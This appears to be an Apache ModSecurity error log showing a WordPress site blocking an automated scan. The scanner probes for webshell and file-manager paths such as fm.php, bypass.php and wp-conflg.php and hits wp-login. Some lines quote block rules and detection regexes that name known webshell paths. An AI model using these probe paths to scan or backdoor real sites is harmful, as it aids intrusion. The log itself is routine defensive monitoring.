[Sat Feb 28 08:54:31.388336 2026] [:error] [pid 39185:tid 39270] [client 173.244.55.20:49471] [client 173.244.55.20] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/certificates/"] [unique_id "aaI8xxVE-FfM89u7BQayBQAAAJg"]
[Sat Feb 28 08:54:31.860079 2026] [:error] [pid 39185:tid 39247] [client 173.244.55.31:26705] [client 173.244.55.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/as.php"] [unique_id "aaI8xxVE-FfM89u7BQayDQAAAIE"]
[Sat Feb 28 08:54:32.730656 2026] [:error] [pid 39184:tid 39222] [client 173.244.55.31:38579] [client 173.244.55.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/images/"] [unique_id "aaI8yFtZF9Zd_U7easCLVQAAAEM"]
[Sat Feb 28 08:54:32.741628 2026] [proxy_fcgi:error] [pid 39184:tid 39225] [client 173.244.55.30:24841] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:54:33.193681 2026] [proxy_fcgi:error] [pid 39184:tid 39235] [client 173.244.55.30:24841] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:54:33.650458 2026] [proxy_fcgi:error] [pid 39184:tid 39240] [client 173.244.55.30:24841] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:54:34.092271 2026] [proxy_fcgi:error] [pid 39184:tid 39230] [client 173.244.55.30:24841] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:54:34.488185 2026] [:error] [pid 11791:tid 11810] [client 173.244.55.25:35909] [client 173.244.55.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/meta/"] [unique_id "aaI8ymuX5e1Q32gqxH1GuQAAARE"]
[Sat Feb 28 08:54:35.366674 2026] [:error] [pid 39185:tid 39256] [client 173.244.55.25:39809] [client 173.244.55.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/meta/"] [unique_id "aaI8yxVE-FfM89u7BQayMQAAAIo"]
[Sat Feb 28 08:54:35.423666 2026] [proxy_fcgi:error] [pid 39184:tid 39222] [client 173.244.55.30:24841] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:54:35.863486 2026] [:error] [pid 39184:tid 39236] [client 173.244.55.30:24841] [client 173.244.55.30] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/html-api/chosen.php"] [unique_id "aaI8y1tZF9Zd_U7easCLgAAAAFE"]
[Sat Feb 28 08:54:36.744790 2026] [:error] [pid 39184:tid 39236] [client 173.244.55.29:40161] [client 173.244.55.29] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/style-engine/autoload_classmap.php"] [unique_id "aaI8zFtZF9Zd_U7easCLkgAAAFE"]
[Sat Feb 28 08:54:37.618853 2026] [:error] [pid 39292:tid 39296] [client 173.244.55.31:39971] [client 173.244.55.31] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.244.55.31, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "aaI8zaIAO5fN7BxyqcFG_AAAAMI"]
[Sat Feb 28 08:54:37.622529 2026] [proxy_fcgi:error] [pid 39292:tid 39296] [client 173.244.55.31:39971] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:54:38.064015 2026] [proxy_fcgi:error] [pid 39292:tid 39295] [client 173.244.55.31:39971] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:54:38.498770 2026] [:error] [pid 39292:tid 39313] [client 173.244.55.31:39971] [client 173.244.55.31] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/sitemaps/providers/index.php"] [unique_id "aaI8zqIAO5fN7BxyqcFHCgAAANM"]
[Sat Feb 28 08:54:39.814039 2026] [proxy_fcgi:error] [pid 11791:tid 11793] [client 173.244.55.31:53105] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:54:40.250045 2026] [:error] [pid 11791:tid 11807] [client 173.244.55.31:53105] [client 173.244.55.31] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Text/Diff/Engine/index.php"] [unique_id "aaI80GuX5e1Q32gqxH1HOgAAAQ4"]
[Sat Feb 28 08:54:40.663843 2026] [:error] [pid 39184:tid 39219] [client 173.244.55.28:44743] [client 173.244.55.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sites/default/files/"] [unique_id "aaI80FtZF9Zd_U7easCLvwAAAEA"]
[Sat Feb 28 08:54:41.148753 2026] [:error] [pid 39185:tid 39260] [client 173.244.55.25:32605] [client 173.244.55.25] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/style-engine/index.php"] [unique_id "aaI80RVE-FfM89u7BQayWAAAAI4"]
[Sat Feb 28 08:54:41.534892 2026] [:error] [pid 22194:tid 22218] [client 173.244.55.28:22023] [client 173.244.55.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sites/default/files/"] [unique_id "aaI80X6mbajs3bzQGyu6_wAAAVY"]
[Sat Feb 28 08:54:42.404461 2026] [:error] [pid 22194:tid 22210] [client 173.244.55.30:53115] [client 173.244.55.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sites/default/files/"] [unique_id "aaI80n6mbajs3bzQGyu7GgAAAU4"]
[Sat Feb 28 08:54:43.831055 2026] [:error] [pid 39292:tid 39295] [client 173.244.55.21:52239] [client 173.244.55.21] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Text/Diff/Engine/about.php"] [unique_id "aaI806IAO5fN7BxyqcFHQgAAAME"]
[Sat Feb 28 08:54:44.703665 2026] [:error] [pid 39185:tid 39266] [client 173.244.55.26:50043] [client 173.244.55.26] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "agraphics.com.au"] [uri "/fm.php"] [unique_id "aaI81BVE-FfM89u7BQaybgAAAJQ"]
[Sat Feb 28 08:54:45.542955 2026] [:error] [pid 11791:tid 11802] [client 173.244.55.29:26657] [client 173.244.55.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin/uploads/"] [unique_id "aaI81WuX5e1Q32gqxH1HuQAAAQk"]
[Sat Feb 28 08:54:46.428183 2026] [:error] [pid 11791:tid 11814] [client 173.244.55.22:46435] [client 173.244.55.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin/uploads/"] [unique_id "aaI81muX5e1Q32gqxH1HyAAAARU"]
[Sat Feb 28 08:54:46.936402 2026] [proxy_fcgi:error] [pid 22194:tid 22196] [client 173.244.55.31:43183] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:54:47.306092 2026] [:error] [pid 22194:tid 22209] [client 173.244.55.29:38057] [client 173.244.55.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin/uploads/"] [unique_id "aaI8136mbajs3bzQGyu7fgAAAU0"]
[Sat Feb 28 08:54:47.823212 2026] [:error] [pid 22194:tid 22197] [client 173.244.55.31:43183] [client 173.244.55.31] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/blocks/calendar/index.php"] [unique_id "aaI8136mbajs3bzQGyu7hAAAAUE"]
[Sat Feb 28 08:54:49.617484 2026] [proxy_fcgi:error] [pid 39183:tid 39214] [client 173.244.55.25:20057] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:54:50.505341 2026] [:error] [pid 39183:tid 39192] [client 173.244.55.25:20057] [client 173.244.55.25] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/function.php"] [unique_id "aaI82hCf4HvhVePw3LaqEwAAAAA"]
[Sat Feb 28 08:54:51.254073 2026] [:error] [pid 39183:tid 39205] [client 173.244.55.25:38615] [client 173.244.55.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/components/"] [unique_id "aaI82xCf4HvhVePw3LaqFgAAAA0"]
[Sat Feb 28 08:54:51.386085 2026] [:error] [pid 22194:tid 22209] [client 173.244.55.26:34089] [client 173.244.55.26] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/plugins.php"] [unique_id "aaI8236mbajs3bzQGyu7rQAAAU0"]
[Sat Feb 28 08:54:52.128215 2026] [:error] [pid 39185:tid 39264] [client 173.244.55.28:23563] [client 173.244.55.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/components/"] [unique_id "aaI83BVE-FfM89u7BQayqQAAAJI"]
[Sat Feb 28 08:54:52.704402 2026] [:error] [pid 39185:tid 39247] [client 173.244.55.22:50767] [client 173.244.55.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content.php"] [unique_id "aaI83BVE-FfM89u7BQaytAAAAIE"]
[Sat Feb 28 08:54:53.010376 2026] [:error] [pid 39185:tid 39255] [client 173.244.55.30:36975] [client 173.244.55.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/components/"] [unique_id "aaI83RVE-FfM89u7BQayuQAAAIk"]
[Sat Feb 28 08:54:53.589135 2026] [:error] [pid 11791:tid 11801] [client 173.244.55.22:38403] [client 173.244.55.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content.php"] [unique_id "aaI83WuX5e1Q32gqxH1ISwAAAQg"]
[Sat Feb 28 08:54:53.882136 2026] [:error] [pid 39292:tid 39295] [client 173.244.55.28:62695] [client 173.244.55.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/components/"] [unique_id "aaI83aIAO5fN7BxyqcFICQAAAME"]
[Sat Feb 28 08:54:54.465526 2026] [:error] [pid 39185:tid 39257] [client 173.244.55.22:57753] [client 173.244.55.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content.php"] [unique_id "aaI83hVE-FfM89u7BQayyAAAAIs"]
[Sat Feb 28 08:54:54.761937 2026] [:error] [pid 22194:tid 22206] [client 173.244.55.21:30917] [client 173.244.55.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/components/"] [unique_id "aaI83n6mbajs3bzQGyu71gAAAUo"]
[Sat Feb 28 08:54:55.343475 2026] [proxy_fcgi:error] [pid 39184:tid 39239] [client 173.244.55.26:28791] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:54:55.779529 2026] [:error] [pid 39184:tid 39221] [client 173.244.55.26:28791] [client 173.244.55.26] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/chosen.php"] [unique_id "aaI831tZF9Zd_U7easCMOAAAAEI"]
[Sat Feb 28 08:54:56.656942 2026] [:error] [pid 39185:tid 39248] [client 173.244.55.30:53281] [client 173.244.55.30] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Text/Diff/Renderer/about.php"] [unique_id "aaI84BVE-FfM89u7BQay1wAAAII"]
[Sat Feb 28 08:54:58.418497 2026] [proxy_fcgi:error] [pid 39292:tid 39299] [client 173.244.55.25:38709] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:54:58.857998 2026] [proxy_fcgi:error] [pid 39292:tid 39304] [client 173.244.55.25:38709] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:54:59.745596 2026] [proxy_fcgi:error] [pid 39292:tid 39297] [client 173.244.55.25:38709] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:55:00.631353 2026] [:error] [pid 39292:tid 39301] [client 173.244.55.25:38709] [client 173.244.55.25] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/atomlib.php"] [unique_id "aaI85KIAO5fN7BxyqcFIpwAAAMc"]
[Sat Feb 28 08:55:01.515480 2026] [:error] [pid 39185:tid 39262] [client 173.244.55.20:45445] [client 173.244.55.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/rest-api/index.php"] [unique_id "aaI85RVE-FfM89u7BQazCwAAAJA"]
[Sat Feb 28 08:55:02.403258 2026] [proxy_fcgi:error] [pid 11791:tid 11796] [client 173.244.55.23:49623] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:55:02.849491 2026] [proxy_fcgi:error] [pid 11791:tid 11797] [client 173.244.55.23:49623] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:55:03.745788 2026] [proxy_fcgi:error] [pid 11791:tid 11793] [client 173.244.55.23:49623] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:55:04.200487 2026] [:error] [pid 11791:tid 11811] [client 173.244.55.23:49623] [client 173.244.55.23] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/index.php"] [unique_id "aaI86GuX5e1Q32gqxH1JMwAAARI"]
[Sat Feb 28 08:55:05.071985 2026] [:error] [pid 39184:tid 39230] [client 173.244.55.20:54157] [client 173.244.55.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/style-engine/wp-conflg.php"] [unique_id "aaI86VtZF9Zd_U7easCMhQAAAEs"]
[Sat Feb 28 08:55:05.958309 2026] [:error] [pid 22194:tid 22201] [client 173.244.55.29:49543] [client 173.244.55.29] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/assets/autoload_classmap.php"] [unique_id "aaI86X6mbajs3bzQGyu8ZQAAAUU"]
[Sat Feb 28 08:55:08.617180 2026] [proxy_fcgi:error] [pid 11791:tid 11797] [client 173.244.55.23:21007] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:55:09.058528 2026] [:error] [pid 11791:tid 11802] [client 173.244.55.23:21007] [client 173.244.55.23] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/SimplePie/Exception-wp.php"] [unique_id "aaI87WuX5e1Q32gqxH1JrAAAAQk"]
[Sat Feb 28 08:55:09.942055 2026] [:error] [pid 39292:tid 39313] [client 173.244.55.25:53349] [client 173.244.55.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/plugin.php"] [unique_id "aaI87aIAO5fN7BxyqcFJEAAAANM"]
[Sat Feb 28 08:55:10.825246 2026] [:error] [pid 11791:tid 11797] [client 173.244.55.22:35289] [client 173.244.55.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/plugin.php"] [unique_id "aaI87muX5e1Q32gqxH1JyAAAAQQ"]
[Sat Feb 28 08:55:12.149676 2026] [:error] [pid 22194:tid 22219] [client 173.244.55.21:46313] [client 173.244.55.21] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/rest-api/autoload_classmap.php"] [unique_id "aaI88H6mbajs3bzQGyu81wAAAVc"]
[Sat Feb 28 08:55:13.022188 2026] [proxy_fcgi:error] [pid 11791:tid 11807] [client 173.244.55.21:48705] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:55:13.459799 2026] [proxy_fcgi:error] [pid 11791:tid 11795] [client 173.244.55.21:48705] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:55:13.894263 2026] [:error] [pid 11791:tid 11793] [client 173.244.55.21:48705] [client 173.244.55.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/index.php"] [unique_id "aaI88WuX5e1Q32gqxH1KOAAAAQA"]
[Sat Feb 28 08:55:14.772540 2026] [:error] [pid 39292:tid 39302] [client 173.244.55.25:28689] [client 173.244.55.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/index.php"] [unique_id "aaI88qIAO5fN7BxyqcFJNAAAAMg"]
[Sat Feb 28 08:55:16.106729 2026] [proxy_fcgi:error] [pid 22194:tid 22213] [client 173.244.55.28:52641] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:55:16.546708 2026] [:error] [pid 22194:tid 22212] [client 173.244.55.28:52641] [client 173.244.55.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/uploads/bypass.php"] [unique_id "aaI89H6mbajs3bzQGyu9GwAAAVA"]
[Sat Feb 28 08:55:17.880459 2026] [:error] [pid 11791:tid 11815] [client 173.244.55.25:46061] [client 173.244.55.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/assets/images/admin.php"] [unique_id "aaI89WuX5e1Q32gqxH1K5gAAARY"]
[Sat Feb 28 08:55:19.246032 2026] [:error] [pid 22194:tid 22217] [client 173.244.55.20:57611] [client 173.244.55.20] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/index.php"] [unique_id "aaI8936mbajs3bzQGyu9MQAAAVU"]
[Sat Feb 28 08:55:20.128471 2026] [:error] [pid 39292:tid 39300] [client 173.244.55.26:34597] [client 173.244.55.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/index.php"] [unique_id "aaI8-KIAO5fN7BxyqcFJfQAAAMY"]
[Sat Feb 28 08:55:21.438472 2026] [:error] [pid 11791:tid 11797] [client 173.244.55.23:58701] [client 173.244.55.23] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.244.55.23, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/js/wp-login.php"] [unique_id "aaI8-WuX5e1Q32gqxH1LPwAAAQQ"]
[Sat Feb 28 08:55:22.359950 2026] [:error] [pid 11791:tid 11793] [client 173.244.55.23:58701] File does not exist: /home/agraphicscom/public_html/worm.PhP
